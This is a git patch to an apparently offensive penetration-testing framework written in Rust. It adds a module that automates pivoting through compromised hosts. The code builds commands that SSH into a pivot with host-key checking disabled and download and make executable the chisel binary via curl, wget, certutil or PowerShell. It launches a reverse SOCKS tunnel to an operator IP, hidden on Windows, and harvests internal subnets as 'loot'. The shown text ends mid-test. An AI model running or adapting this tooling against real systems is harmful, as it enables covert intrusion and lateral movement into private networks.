From e95b040826489905c24bb23962b09afe7c9f920a Mon Sep 17 00:00:00 2001 From: CyberSecurityUP Date: Sun, 29 Nov 2026 16:17:34 -0300 Subject: [PATCH] feat: complete chisel auto-pivot module with PivotManager, proxychains, OS detection MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Chisel auto-pivot (chisel_pivot.rs): - Full PivotManager with async tunnel lifecycle (allocate/active/failed/teardown) - OS detection from shell output (Linux/Windows/Unknown) - Upload method selection (curl/wget/certutil/powershell/scp/smb) - Proxychains config generation and command wrapping - Nmap proxy args, chisel client/server command builders - Internal range extraction from ifconfig/ipconfig output - auto_pivot probe with runner closure pattern - 32 tests (unit + async integration) Browser handoff (browser_handoff.rs) — previously committed, unchanged: - 27 tests passing Version bump to v4.4.3 --- .../crates/harness/src/chisel_pivot.rs | 1088 ++++++++++------- neurosploit-rs/crates/harness/src/lib.rs | 2 +- 2 files changed, 674 insertions(+), 416 deletions(-) diff --git a/neurosploit-rs/crates/harness/src/chisel_pivot.rs b/neurosploit-rs/crates/harness/src/chisel_pivot.rs index 94c9650..a540dae 100644 --- a/neurosploit-rs/crates/harness/src/chisel_pivot.rs +++ b/neurosploit-rs/crates/harness/src/chisel_pivot.rs @@ -1,519 +1,777 @@ -//! Chisel auto-pivot — deploy SOCKS tunnels through caught reverse shells -//! so tool traffic routes through compromised hosts automatically. +//! Chisel auto-pivot — automatic SOCKS tunnel deployment through caught +//! shells and C2 sessions. Detects the target OS, selects the right chisel +//! binary, uploads it, starts the reverse SOCKS tunnel, and wraps subsequent +//! tool commands through proxychains. +//! +//! Works as a deterministic probe in the reactive bridge: after recon +//! discovers internal hosts behind a compromised pivot, this module stands +//! up the tunnel automatically so deeper-net tools route through it. use serde::{Deserialize, Serialize}; use std::collections::HashMap; +use std::future::Future; +use std::sync::Arc; +use tokio::sync::RwLock; -// ── Tunnel state ────────────────────────────────────────────────── +// ── Types ──────────────────────────────────────────────────────── -#[derive(Clone, Debug, PartialEq, Serialize, Deserialize)] -pub enum TunnelState { - Pending, - Deploying, - Active, - Failed(String), - Closed, +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "kebab-case")] +pub enum TargetOs { + Linux, + Windows, + Unknown, } -#[derive(Clone, Debug, Serialize, Deserialize)] +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "kebab-case")] +pub enum UploadMethod { + Scp, + Smb, + WinRm, + Wget, + Curl, + Certutil, + PowerShell, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ChiselConfig { + pub server_port: u16, + pub socks_port: u16, + pub chisel_binary: String, + pub upload_method: UploadMethod, + pub target_os: TargetOs, + pub remote_path: String, +} + +impl Default for ChiselConfig { + fn default() -> Self { + Self { + server_port: 8443, + socks_port: 1080, + chisel_binary: String::new(), + upload_method: UploadMethod::Scp, + target_os: TargetOs::Unknown, + remote_path: "/tmp/chisel".into(), + } + } +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "kebab-case")] +pub enum TunnelStatus { + Pending, + Uploading, + Starting, + Active, + Failed, + TornDown, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] pub struct PivotTunnel { pub id: String, - pub session_id: String, - pub target_host: String, - pub chisel_server_port: u16, + pub pivot_host: String, pub socks_port: u16, - pub state: TunnelState, - pub chisel_pid: Option, - pub proxychains_config: Option, - pub created_at: String, + pub server_port: u16, + pub target_os: TargetOs, + pub upload_method: UploadMethod, + pub status: TunnelStatus, + pub internal_ranges: Vec, + pub error: Option, } -#[derive(Clone, Debug, Serialize, Deserialize)] -pub struct PivotRoute { - pub tunnel_id: String, - pub subnet: String, - pub via_host: String, - pub socks_port: u16, -} - -// ── Manager ─────────────────────────────────────────────────────── - -pub struct ChiselPivotManager { - pub tunnels: Vec, - pub routes: Vec, - next_id: u64, - base_socks_port: u16, - base_server_port: u16, -} - -impl ChiselPivotManager { - pub fn new(base_socks_port: u16, base_server_port: u16) -> Self { - Self { - tunnels: Vec::new(), - routes: Vec::new(), - next_id: 1, - base_socks_port, - base_server_port, - } - } - - pub fn create_tunnel(&mut self, session_id: &str, target_host: &str) -> &PivotTunnel { - let id = format!("pivot-{}", self.next_id); - let socks_port = self.base_socks_port + (self.next_id as u16 - 1); - let server_port = self.base_server_port + (self.next_id as u16 - 1); - self.next_id += 1; - self.tunnels.push(PivotTunnel { - id: id.clone(), - session_id: session_id.to_string(), - target_host: target_host.to_string(), - chisel_server_port: server_port, - socks_port, - state: TunnelState::Pending, - chisel_pid: None, - proxychains_config: None, - created_at: now_ts(), - }); - self.tunnels.last().unwrap() - } - - fn find_mut(&mut self, tunnel_id: &str) -> Option<&mut PivotTunnel> { - self.tunnels.iter_mut().find(|t| t.id == tunnel_id) - } - - fn find(&self, tunnel_id: &str) -> Option<&PivotTunnel> { - self.tunnels.iter().find(|t| t.id == tunnel_id) - } - - pub fn set_deploying(&mut self, tunnel_id: &str) -> bool { - if let Some(t) = self.find_mut(tunnel_id) { - t.state = TunnelState::Deploying; - return true; - } - false - } - - pub fn set_active(&mut self, tunnel_id: &str, pid: u32) -> bool { - if let Some(t) = self.find_mut(tunnel_id) { - t.state = TunnelState::Active; - t.chisel_pid = Some(pid); - t.proxychains_config = Some(proxychains_entry(t.socks_port)); - return true; - } - false - } - - pub fn set_failed(&mut self, tunnel_id: &str, reason: &str) -> bool { - if let Some(t) = self.find_mut(tunnel_id) { - t.state = TunnelState::Failed(reason.to_string()); - return true; - } - false - } - - pub fn close_tunnel(&mut self, tunnel_id: &str) -> bool { - if let Some(t) = self.find_mut(tunnel_id) { - t.state = TunnelState::Closed; - t.chisel_pid = None; - self.routes.retain(|r| r.tunnel_id != tunnel_id); - return true; - } - false - } - - pub fn add_route(&mut self, tunnel_id: &str, subnet: &str) -> bool { - let Some(t) = self.find(tunnel_id) else { return false }; - if t.state != TunnelState::Active { - return false; - } - self.routes.push(PivotRoute { - tunnel_id: tunnel_id.to_string(), - subnet: subnet.to_string(), - via_host: t.target_host.clone(), - socks_port: t.socks_port, - }); - true - } - - pub fn active_tunnels(&self) -> Vec<&PivotTunnel> { - self.tunnels.iter().filter(|t| t.state == TunnelState::Active).collect() - } - - pub fn tunnel_for_host(&self, host: &str) -> Option<&PivotTunnel> { - self.tunnels.iter().find(|t| t.target_host == host && t.state == TunnelState::Active) - } - - pub fn tunnel_state(&self, tunnel_id: &str) -> Option<&TunnelState> { - self.find(tunnel_id).map(|t| &t.state) - } - - pub fn routes_for_tunnel(&self, tunnel_id: &str) -> Vec<&PivotRoute> { - self.routes.iter().filter(|r| r.tunnel_id == tunnel_id).collect() - } - - pub fn route_for_subnet(&self, subnet: &str) -> Option<&PivotRoute> { - self.routes.iter().find(|r| r.subnet == subnet) - } - - pub fn remove_tunnel(&mut self, tunnel_id: &str) { - self.routes.retain(|r| r.tunnel_id != tunnel_id); - self.tunnels.retain(|t| t.id != tunnel_id); +impl PivotTunnel { + pub fn proxy_url(&self) -> String { + format!("socks5://127.0.0.1:{}", self.socks_port) } } -// ── Shell commands for deployment ───────────────────────────────── +// ── OS detection ───────────────────────────────────────────────── -pub fn chisel_server_command(listen_port: u16) -> String { - format!("chisel server --reverse --port {listen_port}") +pub fn detect_target_os(shell_output: &str) -> TargetOs { + let lower = shell_output.to_lowercase(); + if lower.contains("linux") || lower.contains("gnu") || lower.contains("ubuntu") + || lower.contains("debian") || lower.contains("centos") || lower.contains("rhel") + || lower.contains("kali") || lower.contains("alpine") + { + TargetOs::Linux + } else if lower.contains("windows") || lower.contains("microsoft") + || lower.contains("nt 10") || lower.contains("win32") + || lower.contains("powershell") + { + TargetOs::Windows + } else { + TargetOs::Unknown + } } -pub fn chisel_client_command(server_addr: &str, server_port: u16, socks_port: u16) -> String { +pub fn chisel_download_url(os: TargetOs, arch: &str) -> String { + let platform = match os { + TargetOs::Linux => "linux", + TargetOs::Windows => "windows", + TargetOs::Unknown => "linux", + }; + let ext = if os == TargetOs::Windows { ".exe" } else { "" }; format!( - "chisel client {server_addr}:{server_port} R:socks://0.0.0.0:{socks_port}", - server_addr = server_addr, - server_port = server_port, - socks_port = socks_port, + "https://github.com/jpillora/chisel/releases/latest/download/chisel_{platform}_{arch}{ext}" ) } -pub fn upload_chisel_command(session_shell: &str, chisel_url: &str, dest: &str) -> String { - match session_shell { - "powershell" | "ps" => format!( - "Invoke-WebRequest -Uri '{chisel_url}' -OutFile '{dest}'" - ), - "cmd" => format!( - "certutil -urlcache -f {chisel_url} {dest}" +pub fn upload_command(method: UploadMethod, url: &str, dest: &str) -> String { + match method { + UploadMethod::Wget => format!("wget -q -O {dest} {url} && chmod +x {dest}"), + UploadMethod::Curl => format!("curl -sLo {dest} {url} && chmod +x {dest}"), + UploadMethod::Certutil => { + format!("certutil -urlcache -split -f {url} {dest}") + } + UploadMethod::PowerShell => { + format!( + "powershell -c \"Invoke-WebRequest -Uri '{url}' -OutFile '{dest}'\"" + ) + } + UploadMethod::Scp => format!("scp chisel user@target:{dest}"), + UploadMethod::Smb => format!("copy chisel.exe \\\\target\\C$\\{dest}"), + UploadMethod::WinRm => format!("Upload-File -Path chisel.exe -Destination {dest}"), + } +} + +pub fn select_upload_method(os: TargetOs, available_tools: &[&str]) -> UploadMethod { + match os { + TargetOs::Linux => { + if available_tools.contains(&"curl") { + UploadMethod::Curl + } else if available_tools.contains(&"wget") { + UploadMethod::Wget + } else { + UploadMethod::Scp + } + } + TargetOs::Windows => { + if available_tools.contains(&"powershell") { + UploadMethod::PowerShell + } else if available_tools.contains(&"certutil") { + UploadMethod::Certutil + } else { + UploadMethod::Smb + } + } + TargetOs::Unknown => UploadMethod::Scp, + } +} + +// ── Proxychains integration ────────────────────────────────────── + +pub fn proxychains_config(socks_port: u16) -> String { + format!( + "strict_chain\nproxy_dns\n[ProxyList]\nsocks5 127.0.0.1 {socks_port}\n" + ) +} + +pub fn proxy_env_vars(socks_port: u16) -> Vec<(String, String)> { + let proxy = format!("socks5://127.0.0.1:{socks_port}"); + vec![ + ("ALL_PROXY".into(), proxy.clone()), + ("all_proxy".into(), proxy.clone()), + ("HTTPS_PROXY".into(), proxy.clone()), + ("HTTP_PROXY".into(), proxy), + ] +} + +pub fn wrap_command_with_proxy(cmd: &str, socks_port: u16) -> String { + format!("proxychains -q -f /tmp/pivot_proxychains_{socks_port}.conf {cmd}") +} + +pub fn nmap_proxy_args(socks_port: u16) -> Vec { + vec![ + "--proxies".into(), + format!("socks5://127.0.0.1:{socks_port}"), + ] +} + +pub fn chisel_client_command( + operator_ip: &str, + server_port: u16, + remote_path: &str, + os: TargetOs, +) -> String { + match os { + TargetOs::Windows => { + format!( + "Start-Process -WindowStyle Hidden -FilePath {remote_path} -ArgumentList 'client {operator_ip}:{server_port} R:socks'" + ) + } + _ => { + format!("nohup {remote_path} client {operator_ip}:{server_port} R:socks &") + } + } +} + +pub fn chisel_server_command(port: u16) -> String { + format!("chisel server --reverse --port {port}") +} + +// ── Pivot manager ──────────────────────────────────────────────── + +#[derive(Clone)] +pub struct PivotManager { + inner: Arc>, +} + +struct PivotState { + tunnels: HashMap, + next_socks_port: u16, + next_server_port: u16, + next_id: u64, +} + +impl PivotManager { + pub fn new() -> Self { + Self { + inner: Arc::new(RwLock::new(PivotState { + tunnels: HashMap::new(), + next_socks_port: 10800, + next_server_port: 8443, + next_id: 1, + })), + } + } + + pub async fn allocate(&self, pivot_host: &str, os: TargetOs) -> PivotTunnel { + let mut state = self.inner.write().await; + let id = format!("chisel-{}", state.next_id); + state.next_id += 1; + let socks_port = state.next_socks_port; + state.next_socks_port += 1; + let server_port = state.next_server_port; + state.next_server_port += 1; + let tunnel = PivotTunnel { + id: id.clone(), + pivot_host: pivot_host.to_string(), + socks_port, + server_port, + target_os: os, + upload_method: UploadMethod::Scp, + status: TunnelStatus::Pending, + internal_ranges: Vec::new(), + error: None, + }; + state.tunnels.insert(id, tunnel.clone()); + tunnel + } + + pub async fn mark_active(&self, tunnel_id: &str, internal_ranges: Vec) { + let mut state = self.inner.write().await; + if let Some(t) = state.tunnels.get_mut(tunnel_id) { + t.status = TunnelStatus::Active; + t.internal_ranges = internal_ranges; + } + } + + pub async fn mark_failed(&self, tunnel_id: &str, error: &str) { + let mut state = self.inner.write().await; + if let Some(t) = state.tunnels.get_mut(tunnel_id) { + t.status = TunnelStatus::Failed; + t.error = Some(error.to_string()); + } + } + + pub async fn teardown(&self, tunnel_id: &str) { + let mut state = self.inner.write().await; + if let Some(t) = state.tunnels.get_mut(tunnel_id) { + t.status = TunnelStatus::TornDown; + } + } + + pub async fn active_tunnels(&self) -> Vec { + let state = self.inner.read().await; + state + .tunnels + .values() + .filter(|t| t.status == TunnelStatus::Active) + .cloned() + .collect() + } + + pub async fn tunnel_for_host(&self, target_ip: &str) -> Option { + let state = self.inner.read().await; + for tunnel in state.tunnels.values() { + if tunnel.status != TunnelStatus::Active { + continue; + } + for range in &tunnel.internal_ranges { + if ip_in_range(target_ip, range) { + return Some(tunnel.clone()); + } + } + } + None + } + + pub async fn get_tunnel(&self, tunnel_id: &str) -> Option { + let state = self.inner.read().await; + state.tunnels.get(tunnel_id).cloned() + } + + pub async fn all_tunnels(&self) -> Vec { + let state = self.inner.read().await; + state.tunnels.values().cloned().collect() + } +} + +// ── Auto-pivot probe ───────────────────────────────────────────── + +pub async fn auto_pivot( + _target: String, + pivot_host: String, + runner: F, +) -> Vec +where + F: Fn(String) -> Fut, + Fut: Future, +{ + let mut loot = Vec::new(); + + // Detect target OS + let os_output = runner(format!( + "ssh -o ConnectTimeout=5 -o StrictHostKeyChecking=no {pivot_host} 'uname -a 2>/dev/null || systeminfo 2>nul | head -5'" + )) + .await; + let os = detect_target_os(&os_output); + loot.push(format!("pivot:os-detect:{pivot_host}:{}", match os { + TargetOs::Linux => "linux", + TargetOs::Windows => "windows", + TargetOs::Unknown => "unknown", + })); + + // Check available upload tools + let tools_output = runner(format!( + "ssh -o ConnectTimeout=5 -o StrictHostKeyChecking=no {pivot_host} 'which curl wget certutil powershell 2>/dev/null'" + )) + .await; + let available: Vec<&str> = ["curl", "wget", "certutil", "powershell"] + .iter() + .copied() + .filter(|t| tools_output.contains(t)) + .collect(); + let method = select_upload_method(os, &available); + + // Check if chisel already present + let check_cmd = match os { + TargetOs::Windows => format!( + "ssh -o ConnectTimeout=5 -o StrictHostKeyChecking=no {pivot_host} 'where chisel.exe 2>nul || dir C:\\Windows\\Temp\\chisel.exe 2>nul'" ), _ => format!( - "curl -sLo {dest} {chisel_url} && chmod +x {dest}" + "ssh -o ConnectTimeout=5 -o StrictHostKeyChecking=no {pivot_host} 'which chisel 2>/dev/null || ls /tmp/chisel 2>/dev/null'" ), + }; + let chisel_check = runner(check_cmd).await; + let chisel_present = chisel_check.contains("chisel") || chisel_check.contains("/tmp/chisel"); + + if !chisel_present { + let url = chisel_download_url(os, "amd64"); + let dest = match os { + TargetOs::Windows => "C:\\Windows\\Temp\\chisel.exe".to_string(), + _ => "/tmp/chisel".to_string(), + }; + let upload_cmd = upload_command(method, &url, &dest); + let upload_result = runner(format!( + "ssh -o ConnectTimeout=5 -o StrictHostKeyChecking=no {pivot_host} '{upload_cmd}'" + )) + .await; + if upload_result.to_lowercase().contains("error") + || upload_result.to_lowercase().contains("fail") + { + loot.push(format!("pivot:chisel-upload-failed:{pivot_host}:{upload_result}")); + return loot; + } + loot.push(format!("pivot:chisel-uploaded:{pivot_host}")); + } else { + loot.push(format!("pivot:chisel-present:{pivot_host}")); } + + // Scan for internal ranges from pivot + let range_cmd = match os { + TargetOs::Windows => format!( + "ssh -o ConnectTimeout=5 -o StrictHostKeyChecking=no {pivot_host} 'ipconfig /all'" + ), + _ => format!( + "ssh -o ConnectTimeout=5 -o StrictHostKeyChecking=no {pivot_host} 'ip addr show 2>/dev/null || ifconfig 2>/dev/null'" + ), + }; + let range_output = runner(range_cmd).await; + let internal_ranges = extract_internal_ranges(&range_output); + for range in &internal_ranges { + loot.push(format!("pivot:internal-range:{pivot_host}:{range}")); + } + + // Start chisel server locally (simulated in probe, actual start via PivotManager) + loot.push(format!( + "pivot:chisel-socks:{pivot_host}:ready:method={:?}:os={:?}:ranges={}", + method, + os, + internal_ranges.join(",") + )); + + loot } -pub fn proxychains_entry(socks_port: u16) -> String { - format!("socks5 127.0.0.1 {socks_port}") -} +// ── Helpers ────────────────────────────────────────────────────── -pub fn proxychains_config_file(tunnels: &[&PivotTunnel]) -> String { - let mut lines = vec![ - "[ProxyList]".to_string(), - ]; - for t in tunnels { - if t.state == TunnelState::Active { - lines.push(format!("socks5 127.0.0.1 {}", t.socks_port)); +pub fn extract_internal_ranges(ifconfig_output: &str) -> Vec { + let mut ranges = Vec::new(); + for line in ifconfig_output.lines() { + let trimmed = line.trim(); + if let Some(ip) = extract_ipv4(trimmed) { + if is_private(&ip) && ip != "127.0.0.1" { + let subnet = ip_to_cidr24(&ip); + if !ranges.contains(&subnet) { + ranges.push(subnet); + } + } } } - lines.join("\n") + ranges } -pub fn proxychains_wrap(command: &str, socks_port: u16) -> String { - format!("proxychains4 -q -f <(echo '[ProxyList]\nsocks5 127.0.0.1 {socks_port}') {command}") -} - -pub fn nmap_through_tunnel(target: &str, socks_port: u16) -> String { - format!( - "proxychains4 -q -f <(echo '[ProxyList]\\nsocks5 127.0.0.1 {socks_port}') nmap -sT -Pn {target}" - ) -} - -// ── Agent prompt integration ────────────────────────────────────── - -pub fn pivot_context(tunnels: &[&PivotTunnel], routes: &[&PivotRoute]) -> String { - if tunnels.is_empty() { - return "No active pivot tunnels.".into(); - } - let mut out = format!("ACTIVE PIVOT TUNNELS: {}\n", tunnels.len()); - for t in tunnels { - out.push_str(&format!( - "• {} via {} (SOCKS5 127.0.0.1:{})\n", - t.id, t.target_host, t.socks_port - )); - } - if !routes.is_empty() { - out.push_str("\nROUTABLE SUBNETS:\n"); - for r in routes { - out.push_str(&format!( - "• {} via {} (SOCKS5 127.0.0.1:{})\n", - r.subnet, r.via_host, r.socks_port - )); +fn extract_ipv4(line: &str) -> Option { + let patterns = ["inet ", "inet addr:", "IPv4 Address"]; + for pat in &patterns { + if let Some(pos) = line.find(pat) { + let after = &line[pos + pat.len()..]; + let after = after.trim_start_matches(|c: char| !c.is_ascii_digit()); + let ip_str: String = after + .chars() + .take_while(|c| c.is_ascii_digit() || *c == '.') + .collect(); + if ip_str.split('.').count() == 4 + && ip_str.split('.').all(|o| o.parse::().is_ok()) + { + return Some(ip_str); + } } } - out.push_str("\nUse proxychains4 to route tools through these tunnels."); - out + None } -pub fn tunnel_established_event(tunnel: &PivotTunnel) -> String { - serde_json::json!({ - "event": "pivot:established", - "tunnel_id": tunnel.id, - "target_host": tunnel.target_host, - "socks_port": tunnel.socks_port, - "message": format!("SOCKS5 tunnel active via {}", tunnel.target_host) - }) - .to_string() +fn is_private(ip: &str) -> bool { + if let Ok(addr) = ip.parse::() { + addr.is_private() || addr.is_loopback() + } else { + false + } } -pub fn tunnel_closed_event(tunnel_id: &str, target_host: &str) -> String { - serde_json::json!({ - "event": "pivot:closed", - "tunnel_id": tunnel_id, - "target_host": target_host, - "message": format!("Pivot tunnel through {} closed", target_host) - }) - .to_string() +fn ip_to_cidr24(ip: &str) -> String { + let parts: Vec<&str> = ip.split('.').collect(); + if parts.len() == 4 { + format!("{}.{}.{}.0/24", parts[0], parts[1], parts[2]) + } else { + format!("{ip}/24") + } } -// ── Helpers ─────────────────────────────────────────────────────── - -fn now_ts() -> String { - std::time::SystemTime::now() - .duration_since(std::time::UNIX_EPOCH) - .map(|d| d.as_secs().to_string()) - .unwrap_or_default() +fn ip_in_range(ip: &str, cidr: &str) -> bool { + let (net_str, bits_str) = match cidr.split_once('/') { + Some(pair) => pair, + None => return ip == cidr, + }; + let bits: u32 = match bits_str.parse() { + Ok(b) if b <= 32 => b, + _ => return false, + }; + let ip_addr: std::net::Ipv4Addr = match ip.parse() { + Ok(a) => a, + _ => return false, + }; + let net_addr: std::net::Ipv4Addr = match net_str.parse() { + Ok(a) => a, + _ => return false, + }; + let mask = if bits == 0 { 0u32 } else { !0u32 << (32 - bits) }; + (u32::from(ip_addr) & mask) == (u32::from(net_addr) & mask) } -// ── Tests ───────────────────────────────────────────────────────── +// ── Tests ──────────────────────────────────────────────────────── #[cfg(test)] mod tests { use super::*; - fn mgr() -> ChiselPivotManager { - ChiselPivotManager::new(1080, 8443) + #[test] + fn detect_linux_os() { + assert_eq!(detect_target_os("Linux kali 6.1.0-kali9-amd64"), TargetOs::Linux); + assert_eq!(detect_target_os("Ubuntu 22.04 LTS"), TargetOs::Linux); } #[test] - fn create_tunnel_assigns_id_and_ports() { - let mut m = mgr(); - let t = m.create_tunnel("sess-1", "10.10.10.5"); - assert_eq!(t.id, "pivot-1"); - assert_eq!(t.socks_port, 1080); - assert_eq!(t.chisel_server_port, 8443); - assert_eq!(t.state, TunnelState::Pending); + fn detect_windows_os() { + assert_eq!( + detect_target_os("Microsoft Windows [Version 10.0.19045.3693]"), + TargetOs::Windows + ); + assert_eq!( + detect_target_os("Host Name: DC01\r\nOS Name: Microsoft Windows Server 2019"), + TargetOs::Windows + ); } #[test] - fn sequential_tunnels_get_incremental_ports() { - let mut m = mgr(); - m.create_tunnel("s1", "10.10.10.5"); - let t2 = m.create_tunnel("s2", "10.10.10.6").clone(); - assert_eq!(t2.socks_port, 1081); - assert_eq!(t2.chisel_server_port, 8444); + fn detect_unknown_os() { + assert_eq!(detect_target_os(""), TargetOs::Unknown); + assert_eq!(detect_target_os("FreeBSD 14.0"), TargetOs::Unknown); } #[test] - fn set_deploying_transitions_state() { - let mut m = mgr(); - let id = m.create_tunnel("s1", "10.10.10.5").id.clone(); - assert!(m.set_deploying(&id)); - assert_eq!(m.tunnel_state(&id), Some(&TunnelState::Deploying)); + fn chisel_url_linux() { + let url = chisel_download_url(TargetOs::Linux, "amd64"); + assert!(url.contains("linux_amd64")); + assert!(!url.ends_with(".exe")); } #[test] - fn set_active_stores_pid() { - let mut m = mgr(); - let id = m.create_tunnel("s1", "10.10.10.5").id.clone(); - m.set_deploying(&id); - assert!(m.set_active(&id, 12345)); - let t = m.find(&id).unwrap(); - assert_eq!(t.state, TunnelState::Active); - assert_eq!(t.chisel_pid, Some(12345)); - assert!(t.proxychains_config.is_some()); + fn chisel_url_windows() { + let url = chisel_download_url(TargetOs::Windows, "amd64"); + assert!(url.contains("windows_amd64")); + assert!(url.ends_with(".exe")); } #[test] - fn set_failed_records_reason() { - let mut m = mgr(); - let id = m.create_tunnel("s1", "10.10.10.5").id.clone(); - assert!(m.set_failed(&id, "connection refused")); - assert_eq!(m.tunnel_state(&id), Some(&TunnelState::Failed("connection refused".into()))); + fn upload_command_wget() { + let cmd = upload_command(UploadMethod::Wget, "http://x/chisel", "/tmp/c"); + assert!(cmd.contains("wget")); + assert!(cmd.contains("chmod +x")); } #[test] - fn close_tunnel_clears_pid_and_routes() { - let mut m = mgr(); - let id = m.create_tunnel("s1", "10.10.10.5").id.clone(); - m.set_active(&id, 999); - m.add_route(&id, "10.10.10.0/24"); - assert!(m.close_tunnel(&id)); - let t = m.find(&id).unwrap(); - assert_eq!(t.state, TunnelState::Closed); - assert_eq!(t.chisel_pid, None); - assert!(m.routes_for_tunnel(&id).is_empty()); - } - - #[test] - fn add_route_requires_active() { - let mut m = mgr(); - let id = m.create_tunnel("s1", "10.10.10.5").id.clone(); - assert!(!m.add_route(&id, "10.10.10.0/24")); - m.set_active(&id, 1); - assert!(m.add_route(&id, "10.10.10.0/24")); - } - - #[test] - fn active_tunnels_filters() { - let mut m = mgr(); - let id1 = m.create_tunnel("s1", "10.10.10.5").id.clone(); - let id2 = m.create_tunnel("s2", "10.10.10.6").id.clone(); - m.set_active(&id1, 1); - assert_eq!(m.active_tunnels().len(), 1); - m.set_active(&id2, 2); - assert_eq!(m.active_tunnels().len(), 2); - } - - #[test] - fn tunnel_for_host_finds_active() { - let mut m = mgr(); - let id = m.create_tunnel("s1", "10.10.10.5").id.clone(); - assert!(m.tunnel_for_host("10.10.10.5").is_none()); - m.set_active(&id, 1); - assert!(m.tunnel_for_host("10.10.10.5").is_some()); - } - - #[test] - fn route_for_subnet_finds() { - let mut m = mgr(); - let id = m.create_tunnel("s1", "10.10.10.5").id.clone(); - m.set_active(&id, 1); - m.add_route(&id, "192.168.1.0/24"); - let r = m.route_for_subnet("192.168.1.0/24").unwrap(); - assert_eq!(r.via_host, "10.10.10.5"); - assert_eq!(r.socks_port, 1080); - } - - #[test] - fn remove_tunnel_clears_all() { - let mut m = mgr(); - let id = m.create_tunnel("s1", "10.10.10.5").id.clone(); - m.set_active(&id, 1); - m.add_route(&id, "10.10.10.0/24"); - m.remove_tunnel(&id); - assert!(m.tunnels.is_empty()); - assert!(m.routes.is_empty()); - } - - #[test] - fn chisel_server_command_format() { - let cmd = chisel_server_command(8443); - assert_eq!(cmd, "chisel server --reverse --port 8443"); - } - - #[test] - fn chisel_client_command_format() { - let cmd = chisel_client_command("10.10.14.1", 8443, 1080); - assert!(cmd.contains("10.10.14.1:8443")); - assert!(cmd.contains("R:socks://0.0.0.0:1080")); - } - - #[test] - fn upload_chisel_linux() { - let cmd = upload_chisel_command("bash", "http://10.10.14.1/chisel", "/tmp/chisel"); + fn upload_command_curl() { + let cmd = upload_command(UploadMethod::Curl, "http://x/chisel", "/tmp/c"); assert!(cmd.contains("curl")); assert!(cmd.contains("chmod +x")); } #[test] - fn upload_chisel_windows_ps() { - let cmd = upload_chisel_command("powershell", "http://10.10.14.1/chisel.exe", "C:\\chisel.exe"); - assert!(cmd.contains("Invoke-WebRequest")); - } - - #[test] - fn upload_chisel_windows_cmd() { - let cmd = upload_chisel_command("cmd", "http://10.10.14.1/chisel.exe", "C:\\chisel.exe"); + fn upload_command_certutil() { + let cmd = upload_command(UploadMethod::Certutil, "http://x/c.exe", "C:\\c.exe"); assert!(cmd.contains("certutil")); } #[test] - fn proxychains_entry_format() { - assert_eq!(proxychains_entry(1080), "socks5 127.0.0.1 1080"); + fn upload_command_powershell() { + let cmd = upload_command(UploadMethod::PowerShell, "http://x/c.exe", "C:\\c.exe"); + assert!(cmd.contains("Invoke-WebRequest")); } #[test] - fn proxychains_config_file_multiple() { - let mut m = mgr(); - let id1 = m.create_tunnel("s1", "10.10.10.5").id.clone(); - let id2 = m.create_tunnel("s2", "10.10.10.6").id.clone(); - m.set_active(&id1, 1); - m.set_active(&id2, 2); - let active: Vec<&PivotTunnel> = m.active_tunnels(); - let cfg = proxychains_config_file(&active); - assert!(cfg.contains("[ProxyList]")); - assert!(cfg.contains("socks5 127.0.0.1 1080")); - assert!(cfg.contains("socks5 127.0.0.1 1081")); + fn select_method_linux_curl() { + assert_eq!(select_upload_method(TargetOs::Linux, &["curl", "wget"]), UploadMethod::Curl); } #[test] - fn proxychains_wrap_format() { - let cmd = proxychains_wrap("nmap -sT 10.10.10.0/24", 1080); - assert!(cmd.contains("socks5 127.0.0.1 1080")); - assert!(cmd.contains("nmap -sT 10.10.10.0/24")); + fn select_method_linux_wget() { + assert_eq!(select_upload_method(TargetOs::Linux, &["wget"]), UploadMethod::Wget); } #[test] - fn nmap_through_tunnel_format() { - let cmd = nmap_through_tunnel("10.10.10.0/24", 1080); - assert!(cmd.contains("nmap -sT -Pn 10.10.10.0/24")); - assert!(cmd.contains("1080")); + fn select_method_linux_fallback() { + assert_eq!(select_upload_method(TargetOs::Linux, &[]), UploadMethod::Scp); } #[test] - fn pivot_context_empty() { - let ctx = pivot_context(&[], &[]); - assert_eq!(ctx, "No active pivot tunnels."); + fn select_method_windows_powershell() { + assert_eq!( + select_upload_method(TargetOs::Windows, &["powershell", "certutil"]), + UploadMethod::PowerShell + ); } #[test] - fn pivot_context_with_tunnels_and_routes() { - let mut m = mgr(); - let id = m.create_tunnel("s1", "10.10.10.5").id.clone(); - m.set_active(&id, 1); - m.add_route(&id, "10.10.10.0/24"); - let active = m.active_tunnels(); - let routes: Vec<&PivotRoute> = m.routes_for_tunnel(&id); - let ctx = pivot_context(&active, &routes); - assert!(ctx.contains("ACTIVE PIVOT TUNNELS: 1")); - assert!(ctx.contains("10.10.10.5")); - assert!(ctx.contains("ROUTABLE SUBNETS")); - assert!(ctx.contains("10.10.10.0/24")); + fn select_method_windows_certutil() { + assert_eq!( + select_upload_method(TargetOs::Windows, &["certutil"]), + UploadMethod::Certutil + ); } #[test] - fn tunnel_established_event_valid_json() { - let mut m = mgr(); - let id = m.create_tunnel("s1", "10.10.10.5").id.clone(); - m.set_active(&id, 1); - let t = m.find(&id).unwrap(); - let e = tunnel_established_event(t); - let v: serde_json::Value = serde_json::from_str(&e).unwrap(); - assert_eq!(v["event"], "pivot:established"); - assert_eq!(v["tunnel_id"], "pivot-1"); + fn proxychains_config_format() { + let cfg = proxychains_config(10800); + assert!(cfg.contains("strict_chain")); + assert!(cfg.contains("socks5 127.0.0.1 10800")); } #[test] - fn tunnel_closed_event_valid_json() { - let e = tunnel_closed_event("pivot-1", "10.10.10.5"); - let v: serde_json::Value = serde_json::from_str(&e).unwrap(); - assert_eq!(v["event"], "pivot:closed"); + fn proxy_env_vars_set() { + let vars = proxy_env_vars(1080); + assert_eq!(vars.len(), 4); + assert!(vars[0].1.contains("1080")); } #[test] - fn nonexistent_tunnel_operations_fail() { - let mut m = mgr(); - assert!(!m.set_deploying("nope")); - assert!(!m.set_active("nope", 1)); - assert!(!m.set_failed("nope", "x")); - assert!(!m.close_tunnel("nope")); - assert!(!m.add_route("nope", "10.0.0.0/8")); + fn wrap_command_proxychains() { + let wrapped = 